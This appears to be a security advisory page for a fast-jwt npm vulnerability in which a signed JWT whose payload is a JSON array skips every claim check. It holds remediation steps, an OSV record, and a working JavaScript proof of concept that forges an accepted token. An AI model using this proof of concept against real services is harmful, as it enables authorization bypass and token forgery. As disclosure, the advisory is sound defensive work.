CVE-2026-107723: fast-jwt Silent Claim-validator Bypass When JWT Vulnerability

HIGH
Advisory Identifier: GHSA-5hjw-83fp-phq9
CVSS 8.1
CWE-1287
Published
Advisory Summary

CVE-2026-107723 is a HIGH (CVSS 8.1) silent claim-validator bypass when jwt vulnerability (CWE-1287: Improper Validation of Specified Type of Input) affecting fast-jwt libraries in the npm ecosystem. The issue involves silent claim-validator bypass when jwt payload is a json array. Remediation is available by upgrading affected packages to version 6.3.0.

CVE-2026-107723 at a Glance

CVE Identifier CVE-2026-107723
GHSA Identifier GHSA-5hjw-83fp-phq9
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-1287: Improper Validation of Specified Type of Input
Affected Product fast-jwt
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-107723

To remediate this vulnerability, upgrade all affected fast-jwt dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

fast-jwt fixed: 6.3.0
npm install fast-jwt@6.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls fast-jwt

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-107723, inspect your project dependencies using npm:

npm ls fast-jwt

Analyze the terminal output to locate any version of fast-jwt in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.3.0), your application is affected.

Note: The npm ls fast-jwt command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1287: Improper Validation of Specified Type of Input, where the product receives input that is expected to be of a certain type, but it does not validate or incorrectly validates that the input is actually of the expected type. In fast-jwt, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `fast-jwt`'s `createVerifier` silently skips **all** configured claim validators (`exp`, `nbf`, `iss`, `aud`, `sub`, `jti`, `nonce`) when a validly-signed JWT carries a JSON array as its payload instead of an object. The verifier reports success while having enforced only the signature. This breaks the library's documented `allowedIss` / `allowedAud` / `allowedSub` / expiry / replay-protection guarantees and violates RFC 7519 §7.2 step 10, which requires the JWT Claims Set to be a JSON object. ### Details The decoder validates the **header** is a non-array object but the **payload** check is missing the `Array.isArray` guard: ```javascript // src/decoder.js:49 — header check (correct) if (!header || typeof header !== 'object' || Array.isArray(header)) { throw new TokenError(TokenError.codes.malformed, 'The token header is not a valid JSON object.') } // src/decoder.js:65 — payload check (vulnerable) if (!payload || typeof payload !== 'object') { // typeof [] === 'object' throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload }) } Because typeof [] === 'object' in JavaScript, an array payload passes the decoder. In the verifier's validator loop, every check is short-circuited by an in-test that is always false for an array (arrays have only numeric indices and length): // src/verifier.js:304-323 for (const { type, claim, allowed, array, modifier, greater, errorCode, errorVerb } of validators) { const value = payload[claim] ... if (!(claim in payload)) { // 'exp' in [] === false, 'iss' in [] === false, etc. continue // every validator silently skipped } ... } Result: exp, nbf, iss (allowedIss), aud (allowedAud), sub (allowedSub), jti, and nonce checks are all skipped without any error returned to the caller. The verifier returns the array as the payload. requiredClaims, which uses the same in-test but throws instead of continue (verifier.js:295), does block the bypass — but it is opt-in and not commonly configured. GHSA-gm45-q3v2-6cf8 (CVE-2025-30144) previously patched the case where an individual claim value is an array. That fix operates inside the validator loop body and is never reached for this variant. ``` ### PoC ```javascript const { createVerifier } = require('fast-jwt') const crypto = require('crypto') const key = 'shared-secret' const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url') const payload = Buffer.from(JSON.stringify(['attacker', 'role:admin'])).toString('base64url') const sig = crypto.createHmac('sha256', key).update(`${header}.${payload}`).digest('base64url') const token = `${header}.${payload}.${sig}` const verify = createVerifier({ key, allowedIss: ['legit-issuer'], allowedAud: ['legit-audience'], allowedSub: ['legit-subject'] // exp enforcement is on by default }) console.log(verify(token)) // Output: [ 'attacker', 'role:admin' ] // No error thrown. allowedIss/allowedAud/allowedSub/exp all skipped. // Control: an object payload with the same garbage claims is correctly rejected: const bad = Buffer.from(JSON.stringify({ iss: 'attacker', exp: 1 })).toString('base64url') const sig2 = crypto.createHmac('sha256', key).update(`${header}.${bad}`).digest('base64url') verify(`${header}.${bad}.${sig2}`) // Throws: "The token has expired at 1970-01-01T00:00:01.000Z." Verified against fast-jwt v6.2.4 (current master, commit a510448). ``` Suggested patch (src/decoder.js:65): - if (!payload || typeof payload !== 'object') { + if (!payload || typeof payload !== 'object' || Array.isArray(payload)) { throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload }) } This mirrors the existing header guard at line 49. ### Impact Type: Silent authorization-validator bypass. When a validly-signed JWT carries a JSON array as its payload, createVerifier skips every configured claim validator (exp, nbf, iss/allowedIss, aud/allowedAud, sub/allowedSub, jti, nonce) and returns success. Only the signature is actually checked; the verifier gives no error or warning that the configured defenses did not run. Who is impacted: Any application using fast-jwt's createVerifier with claim-validation options and where an attacker can produce or influence a validly-signed token. The realistic deployments are: - Shared-HMAC microservice meshes — any party holding the secret can mint a token accepted by every other verifier with audience, issuer, and expiry enforcement disabled. - Multi-tenant token issuers and SSO backends — a tenant or upstream caller able to influence payload shape can obtain forever-tokens accepted platform-wide. - Delegated signing / weak issuer-side input validation — any issuer that serializes attacker-controlled JSON into the payload without enforcing object shape. Consequences: forever-tokens (expiry bypass), cross-service replay (audience bypass), issuer spoofing in federated/OIDC setups, revocation-list bypass via missing jti, OIDC nonce replay, and audit-trail corruption (payload.sub is undefined so authenticated requests appear unattributable in logs).

CVE-2026-107723 Affected fast-jwt Versions

1 component(s)
Fixed Versions:
6.3.0
Product / Package Ecosystem Affected Versions Fixed Version
fast-jwt
npm
< 6.3.0
6.3.0

References

Frequently Asked Questions

What is CVE-2026-107723?
CVE-2026-107723 is a security vulnerability in fast-jwt involving Silent claim-validator bypass when JWT payload is a JSON array under CWE-1287: Improper Validation of Specified Type of Input.
Which fast-jwt versions are affected?
Affected versions include releases prior to 6.3.0 across affected packages: fast-jwt.
What version fixes CVE-2026-107723?
Upgrading to 6.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is fast-jwt affected?
Yes, fast-jwt is affected in releases prior to 6.3.0. Upgrade your dependency to 6.3.0 or later.
What is the CVSS score of CVE-2026-107723?
CVE-2026-107723 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-107723?
CVE-2026-107723 is classified under CWE-1287: Improper Validation of Specified Type of Input (The product receives input that is expected to be of a certain type, but it does not validate or incorrectly validates that the input is actually of the expected type.).
How can I check npm dependencies for CVE-2026-107723?
Run the dependency tree command: 'npm ls fast-jwt'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5hjw-83fp-phq9",
  "modified" : "2026-10-08T22:01:58Z",
  "published" : "2026-10-08T22:01:58Z",
  "aliases" : [ "CVE-2026-107723" ],
  "summary" : "fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array",
  "details" : "### Summary\n `fast-jwt`'s `createVerifier` silently skips **all** configured claim validators (`exp`, `nbf`, `iss`, `aud`, `sub`, `jti`, `nonce`) when a validly-signed JWT carries a JSON array as its payload instead of an object. The verifier reports success while having enforced only the signature. This breaks the library's documented `allowedIss` / `allowedAud` / `allowedSub` / expiry / replay-protection guarantees and violates RFC 7519 §7.2 step 10, which requires the JWT Claims Set to be a JSON object.\n\n### Details\nThe decoder validates the **header** is a non-array object but the **payload** check is missing the `Array.isArray` guard:\n\n  ```javascript\n  // src/decoder.js:49 — header check (correct)\n  if (!header || typeof header !== 'object' || Array.isArray(header)) {\n    throw new TokenError(TokenError.codes.malformed, 'The token header is not a valid JSON object.')\n  }\n\n  // src/decoder.js:65 — payload check (vulnerable)\n  if (!payload || typeof payload !== 'object') {     // typeof [] === 'object'\n    throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })\n  }\n\n  Because typeof [] === 'object' in JavaScript, an array payload passes the decoder.\n\n  In the verifier's validator loop, every check is short-circuited by an in-test that is always false for an array (arrays have only\n  numeric indices and length):\n\n  // src/verifier.js:304-323\n  for (const { type, claim, allowed, array, modifier, greater, errorCode, errorVerb } of validators) {\n    const value = payload[claim]\n    ...\n    if (!(claim in payload)) {     // 'exp' in [] === false, 'iss' in [] === false, etc.\n      continue                      // every validator silently skipped\n    }\n    ...\n  }\n\n  Result: exp, nbf, iss (allowedIss), aud (allowedAud), sub (allowedSub), jti, and nonce checks are all skipped without any error\n  returned to the caller. The verifier returns the array as the payload.\n\n  requiredClaims, which uses the same in-test but throws instead of continue (verifier.js:295), does block the bypass — but it is\n  opt-in and not commonly configured.\n\n  GHSA-gm45-q3v2-6cf8 (CVE-2025-30144) previously patched the case where an individual claim value is an array. That fix operates\n  inside the validator loop body and is never reached for this variant.\n```\n\n### PoC\n\n  ```javascript\nconst { createVerifier } = require('fast-jwt')\n  const crypto = require('crypto')\n\n  const key = 'shared-secret'\n  const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url')\n  const payload = Buffer.from(JSON.stringify(['attacker', 'role:admin'])).toString('base64url')\n  const sig = crypto.createHmac('sha256', key).update(`${header}.${payload}`).digest('base64url')\n  const token = `${header}.${payload}.${sig}`\n\n  const verify = createVerifier({\n    key,\n    allowedIss: ['legit-issuer'],\n    allowedAud: ['legit-audience'],\n    allowedSub: ['legit-subject']\n    // exp enforcement is on by default\n  })\n\n  console.log(verify(token))\n  // Output: [ 'attacker', 'role:admin' ]\n  // No error thrown. allowedIss/allowedAud/allowedSub/exp all skipped.\n\n  // Control: an object payload with the same garbage claims is correctly rejected:\n  const bad = Buffer.from(JSON.stringify({ iss: 'attacker', exp: 1 })).toString('base64url')\n  const sig2 = crypto.createHmac('sha256', key).update(`${header}.${bad}`).digest('base64url')\n  verify(`${header}.${bad}.${sig2}`)\n  // Throws: \"The token has expired at 1970-01-01T00:00:01.000Z.\"\n\n  Verified against fast-jwt v6.2.4 (current master, commit a510448).\n\n```\n\n  Suggested patch (src/decoder.js:65):\n\n  - if (!payload || typeof payload !== 'object') {\n  + if (!payload || typeof payload !== 'object' || Array.isArray(payload)) {\n      throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })\n    }\n\n  This mirrors the existing header guard at line 49.\n\n### Impact\nType: Silent authorization-validator bypass. When a validly-signed JWT carries a JSON array as its payload, createVerifier skips every configured claim validator (exp, nbf, iss/allowedIss, aud/allowedAud, sub/allowedSub, jti, nonce) and returns success. Only the signature is actually checked; the verifier gives no error or warning that the configured defenses did not run.\n\nWho is impacted: Any application using fast-jwt's createVerifier with claim-validation options and where an attacker can produce or\n   influence a validly-signed token. The realistic deployments are:\n\n  - Shared-HMAC microservice meshes — any party holding the secret can mint a token accepted by every other verifier with audience, issuer, and expiry enforcement disabled.\n  - Multi-tenant token issuers and SSO backends — a tenant or upstream caller able to influence payload shape can obtain\n  forever-tokens accepted platform-wide.\n  - Delegated signing / weak issuer-side input validation — any issuer that serializes attacker-controlled JSON into the payload\n  without enforcing object shape.\n\n  Consequences: forever-tokens (expiry bypass), cross-service replay (audience bypass), issuer spoofing in federated/OIDC setups,\n  revocation-list bypass via missing jti, OIDC nonce replay, and audit-trail corruption (payload.sub is undefined so authenticated\n  requests appear unattributable in logs).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "fast-jwt"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "6.3.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 6.2.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nearform/fast-jwt/security/advisories/GHSA-5hjw-83fp-phq9"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nearform/fast-jwt/pull/639"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nearform/fast-jwt/commit/86e83efd8b5244f50859532d99244f0a9a9a4368"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nearform/fast-jwt"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nearform/fast-jwt/releases/tag/v6.3.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1287" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T22:01:58Z",
    "nvd_published_at" : null
  }
}